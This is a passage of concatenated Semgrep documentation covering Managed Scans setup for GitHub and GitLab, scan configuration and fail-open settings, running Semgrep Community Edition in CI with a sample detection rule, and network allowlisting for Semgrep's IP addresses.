The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
On the entry of the SCM you want to remove, click **Remove app**.
Click **Remove** to confirm.
## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
Sign in to Semgrep AppSec Platform.
Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
## Appendices
### Scan logs
To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
**INFO**
It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
### Scan statistics
**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
# Add a GitHub repository to Semgrep Managed Scans
Source: https://docs.semgrep.dev/deployment/managed-scanning/github
Add GitHub repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**.
## Permissions
To add a repository, you must install the public Semgrep GitHub app and create and install a private Semgrep GitHub App.
* The public Semgrep GitHub app is required to easily add members of your GitHub org to your Semgrep org.
* The private Semgrep GitHub app is required to enable code access for Managed Scans.
If you have not completed the installation of public and private Semgrep GitHub apps, Semgrep prompts you to do so when adding a repository.
See [SCM permissions](/deployment/prepare/scm-permissions#github-app-permissions) for more information about the permissions used by Semgrep.
## Add a repository
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
If you have not completed the installation of public and private Semgrep GitHub apps, you are redirected to the **Set up Managed Scans** page, which facilitates the creation of both.
i. Follow the steps in the page to create and register both a public and private Semgrep GitHub app.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
i. Optional: If you do not see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
Select the repositories you want to scan from the list.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
Click **Enable**.
If you use the **Semgrep Network Broker**, you must edit your Broker configuration file; refer to [Use Semgrep Network Broker with Managed Scans](/semgrep-ci/network-broker#use-semgrep-network-broker-with-managed-scans).
You have finished setting up a Semgrep managed scan.
* After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories.
* Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
* Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
### Troubleshoot your Semgrep GitHub app installation
A complete installation is displayed in the Source Code Manager entry as follows:
***Figure**. **Semgrep AppSec Platform > Settings > Source Code Managers** displaying a completed Managed Scans set-up.*
You can also confirm a complete installation through your GitHub settings page, which should have two Semgrep apps:
***Figure**. **GitHub > Settings > Applications** displaying both Semgrep apps. The private Semgrep app follows the convention **Semgrep Code - YOUR\_ORG\_NAME***.
### If the page does not display any repositories
Ensure you have provided access to **both** the private and public Semgrep GitHub to the repositories you want to scan by following the steps in [Permissions and synchronicity](#permissions-and-synchronicity).
In Semgrep AppSec Platform, click **Projects**.
If the page does not display the repository you want to add, click **Can't find your project? > Sync projects**.
If the page does not display any repositories, click **Sync projects**.
Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
Repositories must be accessible to both the public Semgrep GitHub app and the private Semgrep GitHub app.
### Convert or migrate an existing Semgrep CI job
You can immediately add any existing project to Managed Scans.
Follow the steps in [Add a repository](#add-a-repository).
Delete the `/.github/workflows/semgrep.yml` file in your GitHub repository if appropriate.
If you plan to continue running some scans in GitHub Actions (for example, using Managed Scans to run weekly full scans but GitHub Actions for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
**TIP**
Semgrep preserves your findings, scans, and triage history.
## Scan management and configuration
### Manually run a full scan
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **gear icon** to access the settings page for that repository.
Click **Run a new scan > Rule-based detection**.
> You can manually run a full scan for both primary and non-primary branches.
### Re-run a failed scan or a scan that never finished
In Semgrep AppSec Platform, click **Projects**.
Click on the project name.
Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
### Disable diff-aware scans on PRs
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the toggle for diff-aware scans.
### Delete a project
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they have not completed after the specified timeout. This lets you make the Semgrep status check required in your source code manager (SCM) without blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
#### How fail open works
If enabled, the fail open feature is triggered whenever you open a PR or MR.
Initially, Semgrep sends an update to mark the PR or MR as `pending`.
Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
#### Configure fail open
By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Managed Scans**.
Click the **Fail open** toggle to turn off this feature.
Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
## Revoke Semgrep's access to your repositories
### Remove the private app
The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
On the entry of the SCM you want to remove, click **Remove app**.
Click **Remove** to confirm.
### Limit access to specific repositories
Navigate to your [GitHub settings page](https://github.com/settings/installations/).
On the entry of your private Semgrep GitHub app, click **Configure**.
Under **Repository access**, de-select the repositories you no longer want to grant Semgrep access to.
## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
Sign in to Semgrep AppSec Platform.
Go to Projects and find the project you no longer want scanned with Semgrep Managed Scanning. Click the project's **Details** page > **Settings** tab.
Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
**WARNING**
If your [source code manager has Auto-scan enabled](https://semgrep.dev/orgs/-/settings/source-code) so that Semgrep automatically scans new repositories, turn off Managed Scans for specific repositories using Semgrep AppSec Platform. **Do not turn off Managed Scans by deleting the repository from Semgrep AppSec Platform.** If you have Auto-scan enabled and you delete your repository from the platform, Semgrep re-syncs the repository you deleted.
## Appendices
### Permissions and synchronicity
Both the public and private Semgrep GitHub app must have access to the repositories you want to scan.
To **view** the repositories you have granted access to:
Navigate to your [GitHub settings page](https://github.com/settings/installations/).
On the entry of your public Semgrep GitHub app, typically **semgrep-app**, Click **Configure**.
Review the repositories under repository access.
Perform steps 2 and 3 on the entry of your private Semgrep GitHub app.
#### Scan logs
To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
**INFO**
It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
### Scan statistics
**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
### Git Large File Storage
Semgrep Managed Scans skips files stored in Git Large File Storage (LFS). In general, Semgrep [skips large files](/ignoring-files-folders-code#files-folders-and-code-beyond-semgreps-scope) when scanning projects.
# Add a GitLab repository to Semgrep Managed Scans
Source: https://docs.semgrep.dev/deployment/managed-scanning/gitlab
Add GitLab repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**.
## Prerequisites and permissions
Semgrep Managed Scans requires one of the following plans:
* GitLab Premium
* GitLab Ultimate
* GitLab Self Managed
You must provide a GitLab group access token or personal access token to Semgrep. The token must have the `api` scope assigned to it.
When onboarding to Semgrep Managed Scans, the group or user assigned to the token must have the **`Owner`** or **`Admin`** role. The `Owner` or `Admin` role is required because Managed Scans of GitLab repositories require group webhooks. Semgrep uses these webhooks to facilitate diff-aware scans and create pull request (PR) comments.
Webhooks are enabled by default when you set up Managed Scans and add GitLab as a source code manager. After onboarding is complete, you can downgrade the tokenβs role to `Developer`.
See [SCM permissions](/deployment/prepare/scm-permissions#permissions) for more information about the permissions used by Semgrep.
## Enable Semgrep Managed Scans and scan your first repository
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
i. Optional: If you do not see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
Click **+ Connect more**.
Select **GitLab**.
In the **Set up Managed Scans** page that appears, provide the information needed by Semgrep to connect to your GitLab project:
i. Select **GitLab Cloud** or **GitLab Self-Managed**.
ii. Provide your **Access token**.
iii. Provide your **GitLab group**.
iv. *For GitLab Self-Managed users only*: provide the **GitLab URL**.
v. Click **Connect**.
Repeat the steps above for each additional GitLab group you'd like added to Semgrep.
You have finished setting up a Semgrep managed scan.
* After enabling Managed Scans, Semgrep performs a full scan in batches on all the repositories.
* Once a repository has been added to Semgrep AppSec Platform, it becomes a **project**. A project in Semgrep AppSec Platform includes all the findings, history, and scan metadata of that repository.
* Projects with a Managed Scan configuration are tagged with `managed-scan`, regardless of whether the project is actively being scanned by Semgrep Managed Scans or not. The **Projects** list also contains pending scans and scans that never started.
## Add additional GitLab projects
You can enable Semgrep Managed Scans for additional repositories after onboarding using the following steps:
In Semgrep AppSec Platform, click **Projects**.
Click **Scan new project > Semgrep Managed Scan**.
In the **Enable Managed Scans for repos** page, select the repositories you want to add to Semgrep Managed Scans.
i. Optional: If you do not see the repository you want to add, click **Can't find your project?** and follow the troubleshooting steps provided.
Select the repositories you want to scan from the list.
Click **Enable Managed Scans**. The **Enable Managed Scans** dialog appears. By default, Semgrep runs both full and diff-aware scans.
Optional: Disable PR or MR diff-aware scans by turning off the **Enable PR/MR scans** toggle.
Click **Enable**.
### If the page does not display any repositories
Ensure that you've connected your GitLab account by following the steps in [Connect a source code manager](/deployment/connect-scm) and confirm the [PAT is created with the required `API` scope](https://docs.gitlab.com/user/profile/personal_access_tokens/#personal-access-token-scopes) by someone assigned the [role of **Maintainer** or **Owner**](https://docs.gitlab.com/ee/user/permissions.html#roles).
i. Once you successfully create the connection, the role for the person who owns the token can be downgraded to **Developer**.
In Semgrep AppSec Platform, click **Projects**.
If the page does not display the repository you want to add, click **Can't find your project? > Sync projects**.
If the page does not display any repositories, click **Sync projects**.
Optional: Perform a hard refresh (Ctrl+F5 or Cmd+Shift+R).
### Convert or migrate an existing Semgrep CI job
You can immediately add any existing project to Managed Scans.
Follow the steps in [Enable Semgrep Managed Scans](#enable-managed-scanning-and-scan-your-first-repository).
Delete the `.gitlab-ci.yml` file in your GitLab repository if appropriate.
If you plan to continue running some scans in GitLab CI/CD Pipelines (for example, using Managed Scans to run weekly full scans but GitLab CI/CD Pipelines for diff-aware scans) you can leave the workflow file in place, and edit it to reflect your desired configuration.
**TIP**
Semgrep preserves your findings, scans, and triage history.
## Scan management and configuration
### Manually run a full scan
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **gear icon** to access the settings page for that repository.
Click **Run a new scan > Rule-based detection**.
> You can manually run a full scan for both primary and non-primary branches.
### Re-run a failed scan or a scan that never finished
In Semgrep AppSec Platform, click **Projects**.
Click on the project name.
Find the scan that failed or never finished using the **Status** column, and click **Details** to open the **Scan logs** dialog.
Ensure that you're on the **Overview** tab of the **Scan logs** dialog, then click **Retry scan**.
### Disable diff-aware scans on PRs
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the toggle for diff-aware scans.
### Delete a project
In Semgrep AppSec Platform, click **Projects**.
Search for your repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
To delete an archived project:
In Semgrep AppSec Platform, click **Projects**.
Switch to the **Not Scanning** tab of the **Projects** page.
Select the checkbox to **Show archived** projects.
Search for the archived repository's name.
Click the **window icon** under **Details** to access the settings page for that repository.
Click the dropdown at the header and click **Delete project**.
### Configure fail open to prevent diff-aware scans from blocking pull requests and merge requests
By default, diff-aware managed scans are set to **fail open** if a scan errors out or takes too long. This means that diff-aware scans are marked as successful on the pull request (PR) or merge request (MR), even if they have not completed after the specified timeout. This lets you make the Semgrep status check required in your source code manager (SCM) without blocking someone from merging a PR or MR if the check encounters an unexpected issue or takes too long.
#### How fail open works
If enabled, the fail open feature is triggered whenever you open a PR or MR.
Initially, Semgrep sends an update to mark the PR or MR as `pending`.
Once the diff-aware scan begins, the PR or MR is updated to a status of `running`.
The diff-aware scan completes, and the PR or MR is updated to a status of `succeeded` or `failed`.
If the diff-aware scan is in `pending` or `running` status longer than the configured timeout, then the fail open process updates the PR or MR to display a status of `succeeded`. This prevents the Semgrep scan from blocking the developer from merging their changes.
If Semgrep marks a PR or MR as `succeeded`, you can merge the PR or MR without waiting for the diff-aware scan to complete. However, if the PR or MR is still open and the scan completes *after* the fail open timeout is reached, Semgrep can still report the findings and mark the status as `failed`.
#### Configure fail open
By default, fail open is enabled. However, you can disable this feature and adjust the timeout value:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **Settings > General > Managed Scans**.
Click the **Fail open** toggle to turn off this feature.
Set the **Timeout** value in minutes. The default value is **10 minutes**, the minimum value is **1 minute**, and the maximum value is **60 minutes**.
## Disable webhooks
Semgrep Managed Scans of GitLab projects require webhooks. The webhooks are enabled by default when you add GitLab as a source code manager when setting up Managed Scans. You can disable webhooks at any time by following these steps:
In Semgrep AppSec Platform, go to [Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code).
Find your GitLab connection, and click the toggle to disable **Incoming webhooks**.
## Revoke Semgrep's access to your repositories
The following steps revoke the code access you previously granted Semgrep for all repositories you selected.
In Semgrep AppSec Platform, click **Settings > Source Code Managers**.
On the entry of the SCM you want to remove, click **Remove app**.
Click **Remove** to confirm.
## Turn off Managed Scans for specific repositories in Semgrep AppSec Platform
Sign in to Semgrep AppSec Platform.
Go to Projects and find the project you no longer want scanned with Semgrep Managed Scans. Click the project's **Details** page > **Settings** tab.
Toggle the switch for **Managed diff scans** to turn off scans of new pull requests and merge requests and **Managed full scans** to turn off full scans of the base branch.
## Appendices
### Scan logs
To view your scan logs in Semgrep AppSec Platform, go to **Projects**, then click on the project name. The projects in the list are sorted by scan date, with the most recent scans listed first.
**INFO**
It can take a few minutes for your latest scan logs to appear. However, if the logs do not update 15 minutes after the scan, there may be issues with the scan itself.
### Scan statistics
**Scan statistics**, such as how many of your repositories are being scanned, the scan success rate, and so on, can be provided once a week upon request. Contact your Semgrep account manager to request scan statistics.
# Semgrep Managed Scans
Source: https://docs.semgrep.dev/deployment/managed-scanning/overview
Add repositories to your Semgrep organization in bulk without adding or changing your existing CI workflows through **Managed Scans**. Similar to CI workflows, Managed Scans also integrates into developer workflows through pull request (PR) or merge request (MR) comments.
This is an alternative method to [adding Semgrep in CI](/deployment/add-semgrep-to-ci). Instead of adding a Semgrep job or workflow to your CI/CD pipeline, repositories are added to Semgrep AppSec Platform.
## Feature maturity and support
You must be an existing [Semgrep AppSec Platform](https://semgrep.dev/orgs/-/) user with one of the following plans:
* Bitbucket Cloud Premium plans or Bitbucket Data Center (v8.8 or above for diff-aware scans)
* Hosted GitHub (GitHub.com) and GitHub Enterprise Server plans
* GitLab Cloud and GitLab self-managed plans and a Premium or Ultimate subscription
* Azure DevOps Cloud repositories
Managed Scans is available for all Semgrep products you have purchased, including:
* Semgrep Code
* Semgrep Supply Chain
* Semgrep Secrets
Semgrep performs full scans on a weekly basis and diff-aware scans when you create a pull request or merge request.
**INFO**
* To receive Supply Chain findings, you must have a supported manifest file or lockfile in your repository. Managed Scans does **not** support generation of these files.
* For existing Semgrep projects, custom `semgrep.yml` configurations are not copied or detected when you use Managed Scans. If you have additional build steps when scanning, use [Semgrep in CI instead](/deployment/add-semgrep-to-ci).
Please leave feedback by either contacting your technical account manager (TAM) or through the Feedback form in Semgrep AppSec Platform's navigation bar.
## Security
Managed Scans require **read access** to your code for the repositories you choose to scan. Semgrep clones your repository at the beginning of every scan. Once the scan completes, the clone is destroyed and is not persisted anywhere.
For GitHub users, access to your code is facilitated by a **private Semgrep GitHub app** that you create and register in your GitHub organization. For GitLab users, access to your code is facilitated by a **personal access token** that you generate and provide to Semgrep.
* You are in control of the app and can revoke access to repositories at any time.
* GitHub users only: you can limit access to specific repositories.
Managed scans are specifically designed to limit the amount of time that code remains within Semgrep infrastructure.
### Code security measures
Semgrepβs Managed Scans infrastructure ensures that customer code is scanned in a vacuum and inaccessible from other Kubernetes cluster resources. Semgrep does this by employing the following features and best practices:
* **Ephemeral pods**
* Each scan creates a new pod from scratch, ensuring there is never leftover data from previous scans.
* Customer code is cloned into the new pod, scanned, and deleted once the scan is completed. The pod is then destroyed.
* Pods do not share volumes and do not persist after a scan is completed. Once a pod is destroyed, its volume and the data it contains are destroyed as well.
* **Network isolation**
* Pod network capabilities are completely locked down to ensure only allowed IP addresses are accessible.
* Pods are unable to access other pods within the cluster. This ensures that the customer code cloned to one pod is not accessible from another pod.
### Life cycle of a managed scan
1. When a scan begins, Semgrep creates an ephemeral container and clones the repository into it.
2. Semgrep runs the scan from that container. Diff-aware scans typically take seconds, while full scans can take minutes to hours to complete.
3. The ephemeral container is immediately and automatically destroyed post-scan along with all contents in it.
## Default configuration
By default, projects on Managed Scans are configured with:
* **Weekly full scans** of the entire repository. When a project is first added to Managed Scans, the AppSec Platform performs an initial scan and then sets a random time up to 6 days after to perform a weekly full scan. Each weekly scan occurs on that same day and time. If a full scan doesn't complete, Semgrep re-attempts the scan once, in case it was affected by a temporary error.
* **Diff-aware scans** on pull requests that run on every PR. These diff-aware scans follow the **rule modes** set in your Policies, ensuring that developers are only notified of findings from high-signal rules you place in Comment or Block mode.
## Run scans in bulk
Semgrep Managed Scans enables you to scan multiple projects simultaneously, which is especially useful after updating your ruleset or configuration.
To run scans in bulk, go to the **Projects** page, select the projects of interest, and click **Scan**.
## Re-run scans
You can re-run full scans from the **Projects** page in Semgrep AppSec Platform.
There is no manual "re-run" action for pull request (PR) or merge request (MR) Semgrep Managed Scans. To re-run a PR or MR scan, push a new commit to the PR or MR branch. This triggers a new scan automatically.
If no code changes are needed, you can push an empty commit:
```bash theme={null}
git commit --allow-empty -m "Trigger Semgrep scan"
git push
```
## Add a repository to Semgrep Managed Scans
Learn how to add a repository to Semgrep Managed Scans:
# Semgrep Community Edition in CI
Source: https://docs.semgrep.dev/deployment/oss-deployment
Semgrep Community Edition (CE) can be set up run static application security testing (SAST) scans on repositories of any size.
This guide explains how to set up Semgrep CE in your CI pipeline using entirely open source components, also known as a **stand-alone** CI setup. The preferred Semgrep CE command is `semgrep scan`.
## Prerequisites
* Sufficient permissions in your repository to:
* Commit a CI configuration file.
* Start or stop a CI job.
* Optional: Create environment variables.
## Ensure your scans use open source components
This setup uses only the **LGPL 2.1** Semgrep CLI tool. It is not subject to the usage limits of Semgrep AppSec Platform. In order to remain strictly open source, you must ensure that the rules you run use open source licenses or are your own custom Semgrep rules.
To verify a rule's license, read the `license` key under the `metadata` of a Semgrep rule.
This rule's last line displays a `license: MIT` key-value pair.
```yaml expandable theme={null}
rules:
- id: eslint.detect-object-injection
patterns:
- pattern: $O[$ARG]
- pattern-not: $O["..."]
- pattern-not: "$O[($ARG : float)]"
- pattern-not-inside: |
$ARG = [$V];
...
<... $O[$ARG] ...>;
- pattern-not-inside: |
$ARG = $V;
...
<... $O[$ARG] ...>;
- metavariable-regex:
metavariable: $ARG
regex: (?![0-9]+)
message: Bracket object notation with user input is present, this might allow an
attacker to access all properties of the object and even it's prototype,
leading to possible code execution.
languages:
- javascript
- typescript
severity: MEDIUM
metadata:
cwe: "CWE-94: Improper Control of Generation of Code ('Code Injection')"
primary_identifier: eslint.detect-object-injection
secondary_identifiers:
- name: ESLint rule ID security/detect-object-injection
type: eslint_rule_id
value: security/detect-object-injection
license: MIT
```
For a comparison of the behavior between Semgrep CE CI scans and Semgrep AppSec Platform scans, see [Semgrep AppSec Platform versus Semgrep Community Edition](/semgrep-pro-vs-oss-1).
## Set up the CI job
### Use template configuration files
Click the link of your CI provider to view a configuration file you can commit to your repository to create a Semgrep job:
### Use other methods
Use either of the following methods to run Semgrep on other CI providers.
#### Direct docker usage
Reference or add the [semgrep/semgrep](https://hub.docker.com/r/semgrep/semgrep) Docker image directly. The method to add the Docker image varies based on the CI provider. This method is used in the [Bitbucket Pipelines code snippet](/semgrep-ci/sample-ci-configs#sample-bitbucket-pipelines-configuration-snippet).
#### Install `semgrep` within your CI job
If you cannot use the Semgrep Docker image, install Semgrep as a step or command within your CI job:
1. Add `pipx install semgrep` (or `uv tool install semgrep` if you use [`uv`](https://docs.astral.sh/uv/)) into the configuration file as a step or command, depending on your CI provider's syntax. See the [Python Packaging guide](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on installing standalone Python CLI tools.
2. Run any valid `semgrep scan` command, such as `semgrep scan --config auto`.
For an example, see the [Azure Pipelines code snippet](/semgrep-ci/sample-ci-configs/#sample-azure-pipelines-configuration-snippet).
## Configure your CI job
The following sections describe methods to customize your CI job.
```bash theme={null}
```
### Schedule your scans
The following table is a summary of methods and resources to set up schedules for different CI providers.
| CI provider | Where to set schedule |
| :------------------ | :------------------------------------------------------------------------------------------------------------------------------------------------------- |
| GitHub Actions | See [Sample CI configs](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) for information on how to modify your `semgrep.yml` file |
| GitLab CI/CD | Refer to [GitLab documentation](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) |
| Jenkins | Refer to [Jenkins documentation](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins) |
| Bitbucket Pipelines | Refer to [Bitbucket documentation](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/) |
| CircleCI | Refer to [CircleCI documentation](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci) |
| Buildkite | Refer to [Buildkite documentation](https://buildkite.com/pipelines/scheduled-builds) |
| Azure Pipelines | Refer to [Azure documentation](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops\&tabs=yaml) |
| Semaphore | Refer to [Semaphore documentation](https://docs.semaphore.io/using-semaphore/tasks) |
### Customize rules and rulesets
#### Add rules to scan with `semgrep scan`
You can customize what rules to run in your CI job. The rules and rulesets can come from the [Semgrep Registry](https://semgrep.dev/explore/), or your own rules. The sources for rules to scan with are:
* The value of the `SEMGREP_RULES` environment variable.
* The value passed after `--config`. You can use multiple `--config` arguments, one per value. For example: `semgrep scan --config p/default --config p/comment`.
The `SEMGREP_RULES` environment variable accepts a list of local and remote rules and rulesets to run. The `SEMGREP_RULES` list is delimited by a space (` `) if the variable is exported from a shell command or script block. For example, see the following BitBucket Pipeline snippet:
```yaml theme={null}
# ...
script:
- export SEMGREP_RULES="p/nginx p/ci no-exec.yml"
- semgrep ci
# ...
```
The line defining `SEMGREP_RULES` defines three different sources, delimited by a space:
```bash theme={null}
- export SEMGREP_RULES="p/nginx p/ci no-exec.yml"
```
The example references two rulesets from Semgrep Registry (`p/nginx` and `p/ci`) and a rule available in the repository (`no-exec.yml`).
If the `SEMGREP_RULES` environment variable is defined from a YAML block, the list of rules and rulesets to run is delimited by a newline. See the following example of a GitLab CI/CD snippet:
```yaml theme={null}
# ...
variables:
SEMGREP_RULES: >-
p/nginx
p/ci
no-exec.yml
# ...
```
#### Write your own rules
Write custom rules to enforce your team's coding standards and security practices. Rules can be forked from existing community-written rules.
See [Writing rules](/writing-rules/overview) to learn how to write custom rules.
### Ignore files
See [ Ignore files, folders, and code](/ignoring-files-folders-code).
By default `semgrep ci` skips files and directories such as `tests/`, `node_modules/`, and `vendor/`. It uses the default `.semgrepignore` file which you can find in the [Semgrep GitHub repository](https://github.com/semgrep/semgrep/blob/develop/cli/src/semgrep/templates/.semgrepignore). This default is used when no explicit `.semgrepignore` file is found in the root of your repository.
Optional: Copy and commit the default `.semgrepignore` file to the **root of your repository** and extend it with your own entries or write your `.semgrepignore` file from scratch. If Semgrep detects a `.semgrepignore` file within your repository, it does not append entries from the default `.semgrepignore` file.
For a complete example, see the [.semgrepignore file in Semgrepβs source code](https://github.com/semgrep/semgrep/blob/develop/.semgrepignore).
**CAUTION**
`.semgrepignore` is only used by Semgrep. Integrations such as [GitLab's Semgrep SAST Analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) do not use it.
### Save or export findings to a file
To save or export findings, pass file format options and send the formatted findings to a file.
For example, to save to a JSON file:
`semgrep scan --json > findings.json`
> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
You can also use the SARIF format:
`semgrep scan --sarif > findings.sarif`
Refer to the [CLI reference](/cli-reference) for output formats.
## Migrate to Semgrep AppSec Platform from a stand-alone CI setup
Migrate to Semgrep AppSec Platform to:
* **View and manage findings in a centralized location**. False positives can be ignored through triage actions. These actions can be undertaken in bulk.
* **Configure rules and actions to undertake when a finding is generated by the rule**. You can undertake the following actions:
* Audit the rule. This means that findings are kept within Semgrep's **Findings** page and are not surfaced to your team's SCM.
* Show the finding to your team through the use of PR and MR comments.
* Block the pull request or merge request.
To migrate to Semgrep AppSec Platform:
Create an account in [Semgrep AppSec Platform](https://semgrep.dev/login).
Click **[Projects](https://semgrep.dev/orgs/-/projects)** > **Scan New Project** > Run scan in CI.
Follow the steps in the setup page to complete your migration.
Optional: Remove the old CI job that does not use Semgrep AppSec Platform.
## Semgrep CE jobs versus Semgrep jobs
| Feature | Semgrep CI (`semgrep ci`) | Semgrep CE CI (`semgrep scan`) |
| :------------------------------------------------------------------------------ | :------------------------ | :----------------------------- |
| Customized SAST scans | βοΈ | βοΈ |
| [SCA (software composition analysis) scans](/semgrep-supply-chain/overview) | βοΈ | -- |
| [Secrets scans](/semgrep-secrets/conceptual-overview) | βοΈ | -- |
| [PR (pull request) or MR (merge request) comments](/category/pr-or-mr-comments) | βοΈ | -- |
| [Finding status tracked over lifetime](/semgrep-code/findings) | βοΈ | -- |
# Network access and allowlists
Source: https://docs.semgrep.dev/deployment/prepare/network-access
Configure ingress and egress allowlists, IP addresses, and Semgrep Network Broker so Semgrep can reach your SCM and related services.
If your organization uses a self-hosted source code manager (SCM), IP allowlisting, or other network restrictions, confirm that Semgrep can connect to the systems it needs before you deploy.
**Before you configure**
Use the [Pre-deployment checklist](/deployment/checklist) to confirm whether network configuration applies to your deployment.
## When to configure allowlists
You might need to update ingress or egress allowlists if any of the following apply:
* Your SCM offers security features that limit access to your resources.
* Your SCM is behind a firewall or protected by network restrictions.
* You use a virtual private network (VPN).
* You host your SCM on-premise or in a private network.
## Ingress and egress allowlists
Semgrep deployments might require both **ingress** and **egress** allowlist updates:
* **Ingress allowlists** control traffic from Semgrep into your infrastructure.
* **Egress allowlists** control traffic from your infrastructure to Semgrep.
Depending on your network, you might need to configure one or both.
IP addresses
If you are behind a firewall, are using a virtual private network (VPN), or have network restrictions regarding access, you might need to add the following IP addresses to the **ingress** allowlist and **egress** allowlist:
```bash theme={null}
# Ingress IP addresses (from Semgrep to your infrastructure)
# and egress IP addresses (from your infrastructure to Semgrep)
35.166.231.235
52.35.248.246
52.34.137.110
44.225.64.41
```
### CloudFront egress IP addresses
You must add **CloudFront IP addresses** to your **egress** allowlist. Refer to [Locations and IP address ranges of CloudFront edge servers](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/LocationsOfEdgeServers.html) for a list of IP addresses.
## Semgrep Network Broker
The [Semgrep Network Broker](/semgrep-ci/network-broker) facilitates secure access between Semgrep and your private network. Its use can replace allowlisting the IP addresses required for **ingress** traffic from Semgrep.
The Network Broker, however, only facilitates requests from Semgrep to your network. It does *not* assist with requests originating from your network to Semgrep, including egress traffic from your infrastructure to Semgrep.
In other words, the only address you would have to allow inbound is `wireguard.semgrep.dev` on UDP port `51820`, or your tenant's equivalent. Depending on how restrictive your network is, you might also need to modify your egress allowlist to include the IP addresses listed in [IP addresses](#ip-addresses).
For setup instructions, see [Set up Semgrep Network Broker](/semgrep-ci/network-broker).
## Features that require inbound network connectivity
The following Semgrep features require Semgrep to reach resources in your network:
| Feature | Guide |
| :------------------------- | :--------------------------------------------------------------------------------------------------------- |
